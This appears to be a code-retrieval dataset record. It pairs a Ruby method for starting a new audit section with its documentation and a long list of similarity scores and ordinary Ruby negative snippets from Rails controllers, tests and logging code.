[ "0.73706484", "0.5886898", "0.57798", "0.56823653", "0.565463", "0.559142", "0.559142", "0.5574079", "0.5532253", "0.5532253", "0.5532253", "0.5532253", "0.5532253", "0.5532253", "0.5530869", "0.55257636", "0.55003923", "0.5479866", "0.54543185", "0.54064703", "0.53985685", "0.5394519", "0.5384456", "0.5369711", "0.53282356", "0.5326469", "0.53185266", "0.5276049", "0.52338016", "0.5228281", "0.5226782", "0.52045107", "0.5202334", "0.5188691", "0.5183837", "0.51827115", "0.51738465", "0.5161277", "0.51407933", "0.51407933", "0.5130435", "0.51235384", "0.51235384", "0.51235384", "0.5121505", "0.51180357", "0.5114636", "0.5114571", "0.51089925", "0.5107731", "0.5104926", "0.5099153", "0.50984555", "0.5093919", "0.50907856", "0.5085337", "0.50799763", "0.50599915", "0.5057603", "0.5055067", "0.5055018", "0.5044686", "0.503842", "0.5037713", "0.5037179", "0.50364685", "0.50364685", "0.50364685", "0.50364685", "0.50364685", "0.50364685", "0.50364685", "0.50364685", "0.50364685", "0.50364685", "0.50364685", "0.50364685", "0.50364685", "0.50364685", "0.50364685", "0.50364685", "0.50364685", "0.50364685", "0.50364685", "0.50364685", "0.50364685", "0.50364685", "0.50364685", "0.5032618", "0.5029726", "0.5025249", "0.50166756", "0.50107247", "0.5009563", "0.49986908", "0.49971634", "0.49934405", "0.49922886", "0.49860528", "0.49860528" ]
0.5415629
19
Start new audit section === Parameters title(String):: Title of new audit section, will replace audit status as well options[:category](String):: Optional, must be one of RightScale::EventCategories::CATEGORIES === Return true:: Always return true
def create_new_section(title, options={}) send_request('create_new_section', normalize_options(title, options)) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create_new_section(title, options={})\n send_audit(:kind => :new_section, :text => title, :category => options[:category])\n end", "def start_section(level, title)\n end", "def audit_create\n if self.class.auditing_enabled\n write_audit(:create)\n end\n true\n end", "def create\n @audit = Audit.unscoped.find_or_initialize_by(\n category_id: params[:category_id],\n user_id: @user.id\n )\n @audit.category_id = params[:category_id]\n @audit.user_id = @user.id\n @audit.expire = Time.zone.now + @audit.category.months.month\n @audit.status = 'created'\n @audit.histories_attributes = [status: 'created', author_id: current_user.id]\n if @audit.save\n flash.now[:success] = 'Creazione avvenuta con successo'\n render partial: 'audits/category', locals: { category: @audit.category }, status: :ok\n else\n flash.now[:error] = @audit.errors.map { |k, v| \"#{I18n.t k} #{v}\" }.join(', ')\n head status: 500\n end\n end", "def start_book_title(attributes)\n @mode = 'book-title' if @mode == 'book'\n end", "def add_activity(source, options = { })\n category = @categories[options[:block]];\n category.add_event({ :name => source.name, :color => source.color, :options => options}) unless category.nil?\n end", "def audit section\n\t\t\tsection\n\t\tend", "def test03_EventWithCategories\n\t\tlogin $user_1_email, $master_password\n\t\t$browser.goto($patch_new_event)\n\n \t\t$post_event_title.when_present.set(\"Super fun run #{random}\")\n \t\t$post_event_calendar_start_text.when_present.set(\"#{next_year}-11-15\") #make dynamic?\n \t\t$post_event_time_start_field.when_present.click\n \t\t$post_event_select_time.when_present.select(\"8:00 AM\")\n \t\t$post_event_location.when_present.set(\"Location #{random}\")\n \t\t$browser.execute_script(\"jQuery('iframe.wysihtml5-sandbox').contents().find('body').prepend('lava is hot.')\")\n\t\tsleep 4\n\t\t$post_event_type_family.when_present.click\n\t\t$post_now_event.fire_event(\"onclick\")\n\t\tsleep 3\n\t\tassert $post_new_post.exists?\n\t\t#verify details?\n\tend", "def test04_EventWithCategories\n\t\tlogin $user_1_email, $master_password\n\t\t$browser.goto($patch_new_event)\n\n \t\t$post_event_title.when_present.set(\"Super fun run #{random}\")\n \t\t$post_event_calendar_start_text.when_present.set(\"#{next_year}-12-05\") #make dynamic?\n \t\t$post_event_time_start_field.when_present.click\n \t\t$post_event_select_time.when_present.select(\"8:00 AM\")\n \t\t$post_event_location.when_present.set(\"Location #{random}\")\n \t\t$browser.execute_script(\"jQuery('iframe.wysihtml5-sandbox').contents().find('body').prepend('lava is hot.')\")\n\t\tsleep 4\n\t\t$post_event_category_sport.when_present.click\n\t\t$post_now_event.fire_event(\"onclick\")\n\t\tsleep 3\n\t\tassert $post_new_post.exists?\n\t\t#verify details?\n\tend", "def enter_title(test_data)\n hide_notifications_bar\n logger.info \"Entering title '#{test_data[CoreUseOfCollectionsData::TITLE.name]}'\"\n wait_for_element_and_type(title_input, test_data[CoreUseOfCollectionsData::TITLE.name])\n end", "def title?\n !name? && tagline\n end", "def test05_EventWithCategories\n\t\tlogin $user_1_email, $master_password\n\t\t$browser.goto($patch_new_event)\n\n \t\t$post_event_title.when_present.set(\"Super fun run #{random}\")\n \t\t$post_event_calendar_start_text.when_present.set(\"#{next_year}-07-04\") #make dynamic?\n \t\t$post_event_time_start_field.when_present.click\n \t\t$post_event_select_time.when_present.select(\"8:00 AM\")\n \t\t$post_event_location.when_present.set(\"Location #{random}\")\n \t\t$browser.execute_script(\"jQuery('iframe.wysihtml5-sandbox').contents().find('body').prepend('lava is hot.')\")\n\t\tsleep 4\n\t\t$post_event_type_family.when_present.click\n\t\t$post_event_category_sport.when_present.click\n\t\t$post_now_event.fire_event(\"onclick\")\n\t\tsleep 3\n\t\tassert $post_new_post.exists?\n\t\t#verify details?\n\tend", "def set_current_section title, comment\n @current_section = add_section title, comment\n end", "def add_section title, comment = nil\n if section = @sections[title] then\n section.add_comment comment if comment\n else\n section = Section.new self, title, comment\n @sections[title] = section\n end\n\n section\n end", "def update_title?\r\n # If returning to title screen\r\n if $game_temp.to_title\r\n # Switch to title screen\r\n $scene = Scene_Title.new\r\n return true\r\n end\r\n return false\r\n end", "def section_title(title)\n end", "def add_event_menu\n clear\n center \"Add Event\"\n new_line\n puts \"Looks like you'd like to add an event! Let's get started...\"\n add_event_attributes\n if @event[:title].length > 0 && @event[:description].length > 0\n add_event_from_input\n else\n new_line\n puts \"Sorry, that didn't quite work...\"\n wait_and_clear\n end\n clear_inputs\n end", "def title_create?(title)\n if create?\n not titles_create_exception.include? title\n else\n titles_create_exception.include? title\n end\n end", "def add_event(source, options = { })\n category = @categories[options[:block]];\n category.add_event({ :name => source.name, :color => source.color, :options => options}) unless category.nil?\n end", "def update_to_title?\r\n # If returning to title screen\r\n if $game_temp.to_title\r\n # Change to title screen\r\n $scene = Scene_Title.new\r\n return true\r\n end\r\n return false\r\n end", "def create\n\n @title = Title.find(activity_params[:title_id])\n @event = Event.find(@title[:event_id])\n @activity = Activity.new(activity_params)\n @title.activities << @activity\n\n respond_to do |format|\n if @activity.save\n format.html { redirect_to \"/events/#{@event.id}\", notice: 'Activity was successfully created.' }\n format.json { render :show, status: :created, location: @activity }\n else\n format.html { render :new }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_audit_log_data\n @audit_log.auditable = @product_section if @audit_log\n end", "def start_new_chapter chapter\n start_new_page unless at_page_top?\n if @ppbook && verso_page? && !(chapter.option? 'nonfacing')\n update_colors # prevents Ghostscript from reporting a warning when running content is written to blank page\n start_new_page\n end\n end", "def published_with_new_title?(change_set)\n change_set.resource.decorate.public_readable_state? && change_set.changed?(:title)\n end", "def activity_log_create\n write_activity_log(:create)\n end", "def touch_category\n self.category.touch\n end", "def create\n @title = Title.new(title_params)\n @event = Event.find(title_params[:event_id])\n @event.titles << @title\n\n respond_to do |format|\n if @title.save\n format.html { redirect_to \"/events/#{@event.id}\", notice: 'Title was successfully created.' }\n format.json { render :show, status: :created, location: @title }\n else\n format.html { render :new }\n format.json { render json: @title.errors, status: :unprocessable_entity }\n end\n end\n end", "def add_audit_trail(options = {})\r\n #logger.info(\"*** Adding audit trail. options: #{options.inspect}\")\r\n return false unless current_user and options[:details] \r\n if current_user\n\toptions[:user_id] = current_user.id \n else\n\toptions[:user_id] = 0 \n end\t\r\n\r\n if @article_submission\r\n options[:article_submission_id] ||= @article_submission.id\r\n end\r\n if @user\r\n options[:user_acted_as_id] ||= @user.id\r\n end\r\n if @contribution\r\n options[:contribution_id] ||= @contribution.id\r\n end\r\n if @coi_form\r\n options[:coi_form_id] || @coi_form.id\r\n end\r\n \r\n audit_trail = AuditTrail.create(options)\r\n logger.info(\"*** Created audit trail: #{audit_trail.inspect}\")\r\n end", "def create?\n event == 'create'\n end", "def create_event(title, start, duration = nil, description = \"\", particular = false)\n finish = set_finish_date(start, duration)\n return if finish.nil? or not events_in_period(start, finish).empty?\n\n event_class = ModelFabric.get_class(SocialFramework.event_class)\n event = event_class.create(title: title, start: start, finish: finish,\n description: description, particular: particular)\n\n unless event.nil?\n participant_event_class.create(event: event, schedule: self, confirmed: true, role: \"creator\")\n end\n\n return event\n end", "def create_section_event_context\n \n end", "def title(*args, &block)\n options = Hash === args.last ? args.last : {}\n before_filter(options) {|c| c.title(*args, &block) }\n end", "def add_category(storyDict, category)\n\tif not storyDict[category] #----> 2\n\t\tstoryDict[category] = []\n\t\tresult = \"New Category\"\n\telse\n\t\tresult = \"Existing Category\"\n\tend\n\n\t# Returns if the category was new or not\n\treturn result\nend", "def page_new?(title)\n page_info_contains_key(title, 'new')\n end", "def hasTitle\n if @title then\n true\n else\n false\n end\n end", "def beforeMount()\n Agenda.index.each do |item|\n @checked[item.title] = true unless defined? @checked[item.title]\n end\n end", "def create\n @event_category = EventCategory.new(event_category_params)\n @event_category.event = @event\n\n respond_to do |format|\n if @event_category.save\n format.html { redirect_to convention_setup_event_event_categories_path(@event), notice: 'Event Category was successfully created.' }\n else\n load_categories\n format.html { render action: \"index\" }\n end\n end\n end", "def set_category_event\n unless params[:eng_title]==nil\n @category_event = CategoryEvent.find_by(eng_title: params[:eng_title])\n else\n @category_event = CategoryEvent.find(params[:id])\n end\n end", "def create\n @section = Section.new(section_params)\n @section.title = @section.title || \"\"\n\n document = @section.document\n @section.order = 1\n unless document.sections.blank?\n @section.order = document.sections.last.order + 1\n end\n\n @section.visibility = document.visibility\n @section.status = document.status\n\n update_user_attribution @section, true\n\n respond_to do |format|\n if @section.save\n format.html { redirect_to @section, notice: 'Section was successfully created.' }\n format.any(:json, :js) { render :show, status: :created, location: @section }\n else\n puts @section.errors.full_messages\n format.html { render :new }\n format.any(:json, :js) { render json: @section.errors, status: :unprocessable_entity }\n end\n end\n end", "def status_title\n content_tag(:h1, t(:h1, scope: :status_cat))\n end", "def create\r\n\r\n @event = Event.new(event_params)\r\n \r\n if(@event.category_id == nil)\r\n @event.category_id = 1\r\n end\r\n\r\n respond_to do |format|\r\n if @event.save\r\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\r\n format.json { render :show, status: :created, location: @event }\r\n else\r\n format.html { render :new }\r\n format.json { render json: @event.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def activate_c1; activate_cat(@category_window); end", "def on_test_case_started(event)\n lifecycle.start_test_container(Allure::TestResultContainer.new(name: event.test_case.name))\n lifecycle.start_test_case(cucumber_model.test_result(event.test_case))\n end", "def new_category=(title)\n unless title.blank?\n new_category = NewsArticleCategory.create( :title => title )\n self.errors.add(\"new category\", \" cannot be created because it is invalid. \") unless new_category.valid?\n self.news_article_category = new_category if new_category.valid?\n self.new_category_title = title\n end\n end", "def start\n @actions << :start\n end", "def event?\r\n is_category_type? 'event'\r\n end", "def addsection(text, title, minor = false, bot = true)\n #require login\n @site.login\n result = @site.query_prop_info(@normtitle, nil, 'edit') \n token = result['query']['pages']['page']['edittoken']\n result = @site.edit(@normtitle, section, text, token, title, minor, nil, bot) \n if result.key?('error')\n raise RbmediawikiError, \"#{title}: \"+result['error']['code']\n else\n return true\n end\n end", "def before_create_article(article)\n run_event(:before_create_article, article)\n end", "def create(title, content, options={})\n form_data = {'action' => 'edit', 'title' => title, 'text' => content, 'summary' => (options[:summary] || \"\"), 'token' => get_token('edit', title)}\n if @options[:bot]\n form_data['bot'] = '1'\n form_data['assert'] = 'bot'\n end\n form_data['minor'] = '1' if options[:minor]\n form_data['notminor'] = '1' if options[:minor] == false or options[:notminor]\n form_data['createonly'] = \"\" unless options[:overwrite]\n form_data['section'] = options[:section].to_s if options[:section]\n make_api_request(form_data)\n end", "def create_title\n old_title = Title.find(params[:title_id])\n @title = old_title.insert_title(params[:title_type].to_i)\n assignment = Assignment.find(@task.assignment_id)\n \n respond_to do |format|\n if assignment.editable?(current_user)\n if @title\n State.update_state(current_user.id,@title.task_id)\n format.js\n else\n format.js { render \"insert_failed\" }\n end\n else\n format.js { render \"shared/pastdue\" }\n end\n end\n end", "def title?\n @assigned_paragraph_type == :title\n end", "def before_action verb = nil, &block\n playbook.before_action verb, &block\n end", "def ensure_event_log\n create_event_log unless event_log_exists?\n end", "def create\n @textbook = Textbook.find_by_id(params[:exercise][:textbook_id])\n @course_asset = CourseAsset.find_by_id(params[:exercise][:course_asset_id])\n \n if params[:commit] == \"Cancel\"\n @ujsNotice = \"Add new exercise action canceled.\"\n render \"cancel\"\n \n elsif params[:commit] == \"Create\"\n @filterstring = nil\n @exercise = @textbook.exercises.build(:textbook_id => @textbook.id, :number => params[:exercise][:number], :page => params[:exercise][:page], \n :section_title_name => params[:exercise][:section_title_name], \n :instructor_id => current_instructor.id)\n @section_title = @exercise.section_title\n \n # check to see if section_title exists in db\n \n if @section_title && @section_title.new_record?\n @new_section_title = true;\n \n # render new view again with flag to confirm new_section creation\n render \"new\"\n \n elsif @exercise.save\n @exercises = @textbook.exercises.sort{|a,b| a.page.to_i <=> b.page.to_i}\n @ujsAlert = nil\n @ujsNotice = \"Successfully created exercise.\"\n render \"create\"\n else \n @ujsNotice = nil\n @ujsAlert = \"Error! \" + @exercise.errors.full_messages.first\n render \"new\"\n end \n \n elsif params[:commit] == \"Yes\"\n @filterstring = nil\n @exercise = @textbook.exercises.build(:textbook_id => @textbook.id, :number => params[:exercise][:number], :page => params[:exercise][:page], \n :section_title_name => params[:exercise][:section_title_name], \n :instructor_id => current_instructor.id)\n if @exercise.save\n @exercises = @textbook.exercises.sort{|a,b| a.page.to_i <=> b.page.to_i}\n @ujsAlert = nil\n @ujsNotice = \"Successfully created exercise.\"\n render \"create\"\n else \n @ujsNotice = nil\n @ujsAlert = \"Error! \" + @exercise.errors.full_messages.first\n render \"new\"\n end\n \n else # params[:commit] == \"No\"\n params[:exercise][:section_title_name] = \"\"\n @exercise = @textbook.exercises.new(params[:exercise].except(:course_asset_id))\n @new_section_title = false;\n @ujsNotice = \"Please re-enter the section title.\"\n render('new')\n end\n \n end", "def createNewInstance(controller, editable)\n AuditTab.new(@callbacks, editable)\n end", "def create\n\tif user_signed_in?\n\t\t@eventlog = Eventlog.new(params[:eventlog])\n\t\t@eventlog.ename = @eventlog.event.title\n\t\t@eventlog.vname = @eventlog.visitor.fname\n\t\t@eventlog.status = \"not approved\"\n\t\trespond_to do |format|\n\t\t if @eventlog.save\n\t\t\tformat.html { redirect_to @eventlog, notice: 'Eventlog was successfully created.' }\n\t\t\tformat.json { render json: @eventlog, status: :created, location: @eventlog }\n\t\t else\n\t\t\tformat.html { render action: \"new\" }\n\t\t\tformat.json { render json: @eventlog.errors, status: :unprocessable_entity }\n\t\t end\n\t\tend\n\telse\n\t\tflash[:notice] = \"You don't have access to do that\"\n\t\tredirect_to :controller=>'eventlogs', :action => 'index'\n\tend\n end", "def start \n if Title.is_started?(@task.id,current_user.id)\n @titles = Title.where(\"task_id = ? and user_id = ?\",@task.id,current_user.id).all\n end\n respond_to do |format|\n if @assignment.editable?(current_user)\n format.html \n else\n format.html {redirect_to task_print_charts_url(@task)}\n end\n end\n end", "def heading(title = @title, opts={})\n \n heading = @renderer.heading(title, opts)\n \n puts \"[Cutlist.heading]: #{heading}\" if $cutlister_debug\n \n heading\n \n end", "def create\n @category = @collection.categories.new(category_params)\n\n if @category.save\n ActionCable.server.broadcast 'categories',\n title: @category.title,\n collection_id: @category.collection_id\n head :ok\n else\n\n end\n end", "def audit\n @audit || false\n end", "def run_before_add(attendance)\n puts 'before adding attendance'\n end", "def enter_title(test_data)\n hide_notifications_bar\n wait_for_element_and_type(title_input, test_data[UseOfCollections::TITLE.name])\n end", "def audit?\n false\n end", "def section_created_hook(sender,new_section)\n unless root?\n parent.section_created_hook(sender, new_section)\n else\n new_section\n end\n end", "def activate_dialog(title)\n append_to_script \"activate_dialog \\\"#{title}\\\"\"\n end", "def title_enabled?(title)\n return true unless titles_filter.any?\n titles_filter.include? title\n end", "def before_title\n return super if block_given?\n\n @before_title || counter\n end", "def create\n unless current_user\n flash[:notice] = \"You must be logged in to access this page\"\n redirect_to :login\n return false\n end\n @event = Event.new(params[:event])\n \n\n respond_to do |format|\n @event.attending=0\n @event.reserved=0\n @log=ActivityLog.new\n @log.username=current_user.username\n @log.activity=\"created an\"\n @log.details=\"event\"\n @log.details2=\"called \"+params[:event][:title].to_s\n @log.time=\"During \"+Time.now.to_s\n @log.save\n @event.user_id = current_user.id\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render json: @event, status: :created, location: @event }\n else\n format.html { render action: \"new\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def and_i_add_a_new_timeline_entry\n click_on(I18n.t(\"coronavirus.pages.show.timeline_entries.add\"))\n end", "def create\n @audit_log = AuditLog.new(params[:audit_log])\n\n respond_to do |format|\n if @audit_log.save\n format.html { redirect_to(@audit_log, :notice => 'Audit log was successfully created.') }\n format.xml { render :xml => @audit_log, :status => :created, :location => @audit_log }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @audit_log.errors, :status => :unprocessable_entity }\n end\n end\n end", "def insert_first\n \n new_subsection = Subsection.new(params[:new_subsection])\n new_subsection.insert(params[:section][:id], 1)\n\n if new_subsection.errors.empty?\n flash['notice'] = 'Subsection insert successful.'\n redirect_to(:controller => 'checklist',\n :action => 'edit',\n :id => new_subsection.checklist.id)\n else\n flash['notice'] = 'Subsection insert failed - Contact DTG'\n redirect_to(:action => 'create_first',\n :id => params[:section][:id])\n end\n\n end", "def create\n @audit_log = AuditLog.new(audit_log_params)\n\n respond_to do |format|\n if @audit_log.save\n format.html { redirect_to @audit_log, notice: 'Audit log was successfully created.' }\n format.json { render :show, status: :created, location: @audit_log }\n else\n format.html { render :new }\n format.json { render json: @audit_log.errors, status: :unprocessable_entity }\n end\n end\n end", "def add_new_section\n @section = Section.new\n end", "def log_create\n if self.class.name == 'ParticipantsSportEntry'\n model = self.sport_entry\n action = 'UPDATE'\n else\n model = self\n action = 'CREATE'\n end\n\n ModelAuditJob.perform_now(model, action, audit_user_id)\n end", "def category(name, options = { }, &block)\n category = ::MetaEvents::Definition::Category.new(self, name, options, &block)\n raise ArgumentError, \"There is already a category named #{name.inspect}\" if @categories[category.name]\n @categories[category.name] = category\n end", "def show\n @h1_title = @event.title\n @comment = Comment.new\n end", "def add_item!(opts)\n raise \"Title argument required\" unless opts[:title]\n topts = opts.clone\n topts[:priority] = :normal unless topts[:priority]\n topts[:status] = :not_started unless topts[:status]\n if(topts[:percent_complete] && !(0..100).include?(topts[:percent_complete]))\n raise \"Invalid :percent_complete #{topts[:percent_complete]}\"\n end\n\n super(topts)\n end", "def title\n \"#{event.kind} #{action}\"\n end", "def initialize(category, name, *args, &block)\n raise ArgumentError, \"Must supply a Category, not #{category.inspect}\" unless category.kind_of?(::MetaEvents::Definition::Category)\n\n @category = category\n @name = self.class.normalize_name(name)\n @notes = [ ]\n\n apply_options!(args.extract_options!)\n args = apply_args!(args)\n\n raise ArgumentError, \"Too many arguments: don't know what to do with #{args.inspect}\" if args.present?\n\n instance_eval(&block) if block\n\n ensure_complete!\n end", "def start_new_module\n event_display(\"Your class started a new module!\\n All the new material is so overwhelming...\\n Will you ever learn it all?\")\n group_event_hash_creator({technical_skills: -1})\n end", "def setup_log\r\n logfile = File.open(\"/home/englandk/rails_apps/reminders/log/auto_enquiry.log\", 'a')\r\n \r\n @log = AuditLogger.new(logfile)\r\n @log.level = Logger::INFO\r\n @log.debug \"Started auto response email run\"\r\n end", "def create_alert(category = nil, email = 'test@example.com')\n category ||= Admin::Alert.categories[:breakdown]\n\n Admin::Alert.create!(description: 'test ' * 25,\n category: category,\n email: email)\n end", "def tab(title, options={}, &block)\n options[:id] = \"tab-#{rand.to_s.split('.').last}\" if options[:id].nil?\n options[:title] = title\n options[:content] = block_given? ? capture(&block) : nil\n @tabinfo[tab_depth][:tabs] << options\n nil\n end", "def title_is(title = nil)\n title_is_empty if title.nil? || title.empty?\n @title = title\n end", "def create\n \n params[:event][:start_date] = params[:event][:start_date].present? ? DateTime.parse(params[:event][:start_date]) : nil\n params[:event][:finish_date] = params[:event][:finish_date].present? ? DateTime.parse(params[:event][:finish_date]) : nil\n\n categories = params[:category_ids] or []\n @event = Event.new(params[:event].merge(:user_id => current_user.id, :category_ids => categories))\n \n respond_to do |format|\n if @event.save\n #Mailer to seek appoval\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render json: @event, status: :created, location: @event }\n else\n format.html { render action: \"new\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n parse_dates\n @category = Category.find_by_name params[:category_id]\n # Commented out line below to prevent addition of new events\n # @event = Event.new params[:event]\n @event.approved = params[:event][:approved] if user_signed_in?\n @categories = Category.order('name')\n\n respond_to do |format|\n if @event.save\n clear_zend_cache\n format.html\n format.xml { render :xml => @event, :status => :created, :location => @event }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @event.errors, :status => :unprocessable_entity }\n end\n end\n end", "def should_generate_new_friendly_id?\n title_changed?\n end", "def show\n\t\tcreate_audit __method__, 'subject', @subject.id\n\tend", "def append_section()\n result = super()\n return true if result == TPL_OK\n raise get_message(result)\n end", "def set_current_section(title, comment)\n @current_section = Section.new self, title, comment\n @sections << @current_section\n end", "def activity_creator()\n\t\t\ttimestamp = Time.now.strftime(\"%m/%d/%Y %I:%M:%S\")\n\t\t\tactivityreason = 'Sales'\n\t\t\tactivitydescription = \"Description #{timestamp}\"\n\t\t\tinvoices = InvoicesResource.new(@driver)\n\t\t\tactivities = ActivitiesResource.new(@driver)\n\t\t\tinvoices.actions_createactivity()\n\t\t\tactivities.reason(activityreason)\n\t\t\tactivities.description(activitydescription)\n\t\t\tactivities.save_close()\n\n\t\t\tiframebuffer = Selenium::WebDriver::Wait.new(:timeout => 10)\n\t\t\tiframebuffer.until {invoices.top_activitydescription.text == activitydescription}\n\n\t\t\t#Verify Activity Creation\n\t\t\tprint invoices.top_activitydescription.text\n\t\t\texpect(invoices.top_activitydescription.text).to eql(activitydescription)\n\t\tend", "def get_started\n \t@title= \"Antes de empezar...\" #Page title\n end", "def ifttt_new_post(title, body, categories, tags)\n # default protocol to respond to a new post is to POST a request to the url as specified in the tags, body is the payload\n HTTParty.post(tags.first, body: body)\n end", "def uses_activity_logs?\n\t\t!activity_log_student_time_categories.blank? || !activity_log_non_student_time_categories.blank?\n\tend", "def create\n @section = Section.new(params[:section])\n \n @section.user_id=session[:userid]\n @section.subject_id=session[:subjectid]\n respond_to do |format|\n if @section.save\n format.html { redirect_to(@section, :notice => 'Section was successfully created.') }\n format.xml { render :xml => @section, :status => :created, :location => @section }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @section.errors, :status => :unprocessable_entity }\n end \n end\n \n end", "def should_generate_new_friendly_id?\n title_changed?\n end", "def create\n run_callbacks :create do\n true\n end\n end", "def title=(v)\n if @title != v\n @needs_commit = true\n @title = v\n end\n end", "def activate_window(title)\n append_to_script \"activate_window \\\"#{title}\\\"\"\n end", "def should_generate_new_friendly_id?\n title_changed?\n end" ]
[ "0.73888993", "0.56593436", "0.55276334", "0.5206795", "0.51364654", "0.4957813", "0.4898732", "0.48579478", "0.48226672", "0.47788987", "0.4730682", "0.46824598", "0.46711978", "0.46370515", "0.46322766", "0.46135393", "0.46021947", "0.4595317", "0.45554098", "0.4524991", "0.4519298", "0.45031106", "0.45030227", "0.44947526", "0.4457523", "0.44224095", "0.44187424", "0.4409574", "0.43918", "0.43880948", "0.43819496", "0.4373428", "0.4371183", "0.4367272", "0.43657038", "0.4358384", "0.43560305", "0.43530375", "0.4346221", "0.43312883", "0.43229437", "0.43192926", "0.43191642", "0.4314475", "0.4314374", "0.43138823", "0.4310557", "0.4307455", "0.43074426", "0.43054378", "0.42968738", "0.42921996", "0.42874333", "0.42798418", "0.42761672", "0.42740297", "0.42728376", "0.4272441", "0.42545676", "0.42535415", "0.42416704", "0.4235889", "0.42250478", "0.42222458", "0.42210802", "0.4215381", "0.42145568", "0.4213491", "0.4207408", "0.42045683", "0.4204195", "0.41949755", "0.41900298", "0.41858897", "0.4180477", "0.4178679", "0.41664144", "0.4163241", "0.41619503", "0.4160663", "0.41596523", "0.4150749", "0.4149064", "0.41461444", "0.4146061", "0.41415533", "0.4138202", "0.41372132", "0.41368958", "0.41304767", "0.41291738", "0.4126006", "0.41220093", "0.41196007", "0.41195336", "0.41189364", "0.4118783", "0.41166717", "0.41120228", "0.41094077" ]
0.5897409
1
Append output to current audit section === Parameters text(String):: Output to append to audit entry === Return true:: Always return true
def append_output(text) EM.next_tick do @buffer << text if @buffer.size > MIN_AUDIT_SIZE flush_buffer else reset_timer end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def add_log_text(text)\n self.log_text = \"\" if self.log_text.nil?\n self.log_text += text + \"\\n\"\n end", "def append_changes_to_existing_text\n return @append_changes_to_existing_text\n end", "def append_info(text, options={})\n send_audit(:kind => :info, :text => text, :category => options[:category])\n end", "def append_changes_to_existing_text=(value)\n @append_changes_to_existing_text = value\n end", "def append(text); end", "def append(appended_text = '')\n @text << ' ' << appended_text\n end", "def append(text, summary = nil, minor = true, bot = true)\n #require login\n @site.login\n puts text\n result = @site.query_prop_info(:titles => @normtitle, :intoken => 'edit')\n token = result['query']['pages']['page']['edittoken']\n result = @site.edit(:title => @normtitle, :text => text, :token => token, :summary => summary, \n\t\t:minor => minor, :bot => bot, :appendtext => text)\n if result.key?('error')\n raise RbmediawikiError, \"#{title}: \"+result['error']['code']\n else\n return true\n end\n end", "def append_link( output, text, record )\n return ( output << \" \" << link_to(\n text.html_safe,\n {\n :controller => record.auditable_type.downcase.pluralize,\n :action => 'show',\n :id => record.auditable_id\n }\n )\n ).html_safe()\n end", "def write_txt\n true\n end", "def add(text)\n @text << text\n end", "def add_text(text); end", "def _text(text)\n @target << text\n end", "def add_text(src, text)\n return if text.empty?\n\n if text == \"\\n\"\n @newline_pending += 1\n else\n src << \"_erbout.safe_append='\"\n src << \"\\n\" * @newline_pending if @newline_pending > 0\n src << escape_text(text)\n src << \"';\"\n\n @newline_pending = 0\n end\n end", "def append_to_log_file( data_import_session, text )\n full_pathname = log_full_pathname( data_import_session )\n File.open( full_pathname, 'a+' ) do |f|\n f.puts( text )\n end if Rails.env != 'test' # (Avoid creating thousands of files during specs running)\n end", "def append_info(text, options={})\n options[:category] ||= EventCategories::NONE # Do not event by default\n send_request('append_info', normalize_options(text, options))\n end", "def write_text(text)\n if (@text_filter)\n text = @text_filter.call(text)\n end\n @out << text\n end", "def <<(text)\r\n dbg_puts \" Append=#{text.inspect}\"\r\n @buffer << text\r\n rescue NoMethodError\r\n error \"F14: The current mode does not allow code to be appended.\"\r\n end", "def add_text(text)\n return if text.empty?\n\n if text.frozen?\n text = text.gsub(/['\\\\]/, '\\\\\\\\\\&')\n else\n text.gsub!(/['\\\\]/, '\\\\\\\\\\&')\n end\n\n with_buffer{@src << \" << '\" << text << @text_end}\n end", "def appendtext(value)\n merge(appendtext: value.to_s)\n end", "def print_to_output(text)\n if Object.const_defined?('Shamus')\n asset = Shamus.current.current_step.add_inline_asset('.txt', Shamus::Cucumber::InlineAssets::RENDER_AS_TEXT)\n File.open(asset, 'w') { |f| f.puts(\"#{text}\") }\n else\n puts \"#{text}\"\n end\n end", "def write text\n\t\t@search_text = @line.text = text\n\tend", "def render_text(text)\n @out << text\n end", "def append(text)\n return if text.nil? || text.empty?\n\n if @close_count > 0\n close_count = @close_count\n @close_count = 0\n\n append(\"$renderer.close(#{close_count unless close_count == 1})\")\n end\n\n if @whitespace_buff\n @statement_buff << @whitespace_buff\n @whitespace_buff = nil\n confirmed_newline = true\n end\n\n if (confirmed_newline || @statement_buff.match?(NEWLINE_END)) && !text.match?(NEWLINE_BEGIN)\n @statement_buff << @indent\n else\n unless @statement_buff.match?(AUTO_SEMICOLON_END) || text.match?(AUTO_SEMICOLON_BEGIN)\n @statement_buff << \";\"\n end\n\n unless @statement_buff.empty? || text.match?(WHITESPACE_BEGIN)\n @statement_buff << ' '\n end\n end\n\n flush if text.match?(NON_WHITESPACE)\n @statement_buff << text\n end", "def append text\n raise \"append: deprecated pls use << or push as per Array semantics\"\n @list ||= []\n @list.push text\n fire_dimension_changed :append\n self\n end", "def new_subsection_text(revision_subsection) \n if @array_of_new_subsections[revision_subsection.id] == 'added'\n subsection_text_show(revision_subsection, 'added') \n end\n end", "def add(text)\n @lines ||= []\n @lines.push text\n end", "def add(text, meta, journal, link, p1=nil, p2=nil)\n text = inject_metadata(text, meta)\n add_revision(text, journal, link, p1, p2)\n end", "def log(text)\n\t\t\ttext = text.to_s\n\n\t\t\t# Parse ANSI escape codes.\n\t\t\ttext.scan(/([^\\e]*)(?:\\e\\[(\\d+.))?/) do |normal_text, code|\n\t\t\t\t@log_window.addstr(normal_text)\n\t\t\t\tcase code\n\t\t\t\t\twhen /3(\\d)m/\n\t\t\t\t\t\t@log_window.attron(Ncurses.COLOR_PAIR($1.to_i))\n\t\t\t\t\twhen 